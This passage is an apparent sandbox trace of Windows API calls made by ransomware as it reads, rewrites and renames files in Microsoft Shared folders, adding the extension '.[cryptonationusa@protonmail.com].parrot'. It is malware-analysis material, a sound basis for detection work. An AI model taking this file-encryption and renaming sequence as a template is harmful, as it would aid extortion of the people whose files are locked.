liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0125.020] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0125.021] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.022] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa5c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xa5c00, lpOverlapped=0x0) returned 1 [0125.048] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.070] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0125.085] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0125.085] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0125.086] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.086] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0125.121] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.122] WriteFile (in: hFile=0x1b4, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18ebe4*=0x118, lpOverlapped=0x0) returned 1 [0125.122] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.122] WriteFile (in: hFile=0x1b4, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0125.125] UnlockFile (hFile=0x1b4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x166cc6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0125.125] CloseHandle (hObject=0x1b4) returned 1 [0125.125] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0125.184] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0125.184] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0125.186] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.186] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcd2ac, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xcd2ac, lpOverlapped=0x0) returned 1 [0125.213] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.253] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0125.503] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0125.503] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0125.505] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.505] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x96a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x96a00, lpOverlapped=0x0) returned 1 [0125.531] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.628] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0125.639] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0125.639] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0125.641] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.641] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0125.671] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.671] WriteFile (in: hFile=0x27c, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0125.672] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.672] WriteFile (in: hFile=0x27c, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0125.693] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x205c23, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0125.693] CloseHandle (hObject=0x27c) returned 1 [0125.693] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0125.700] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0125.700] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0125.702] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.702] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x600, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x600, lpOverlapped=0x0) returned 1 [0125.702] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.702] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0125.714] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0125.715] ReadFile (in: hFile=0x260, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0125.716] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.716] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x51a5b, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x51a5b, lpOverlapped=0x0) returned 1 [0125.727] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.739] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0125.743] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0125.743] ReadFile (in: hFile=0x260, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0125.745] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.745] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ac96, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1ac96, lpOverlapped=0x0) returned 1 [0125.751] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.755] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0125.759] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0125.759] ReadFile (in: hFile=0x260, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0125.760] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.760] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1195f, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1195f, lpOverlapped=0x0) returned 1 [0125.767] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.769] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0125.772] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0125.772] ReadFile (in: hFile=0x260, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0125.803] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.803] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe2aa, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xe2aa, lpOverlapped=0x0) returned 1 [0125.807] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.809] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0125.812] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0125.812] ReadFile (in: hFile=0x260, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0125.813] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.814] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe6b62, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xe6b62, lpOverlapped=0x0) returned 1 [0125.857] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.970] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0125.978] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0125.978] ReadFile (in: hFile=0x260, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0126.109] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.109] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e434, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1e434, lpOverlapped=0x0) returned 1 [0126.118] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.121] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0126.125] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0126.125] ReadFile (in: hFile=0x260, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0126.126] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.126] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x65c96, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x65c96, lpOverlapped=0x0) returned 1 [0126.141] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.220] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0126.232] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0126.232] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0126.234] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.234] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4f2ea, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4f2ea, lpOverlapped=0x0) returned 1 [0126.247] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.289] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0126.294] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0126.294] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0126.303] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.303] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa261d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xa261d, lpOverlapped=0x0) returned 1 [0126.363] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.383] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0126.389] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0126.390] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0126.408] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.408] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6a9e6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6a9e6, lpOverlapped=0x0) returned 1 [0126.426] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.438] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0126.443] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0126.443] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0126.486] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 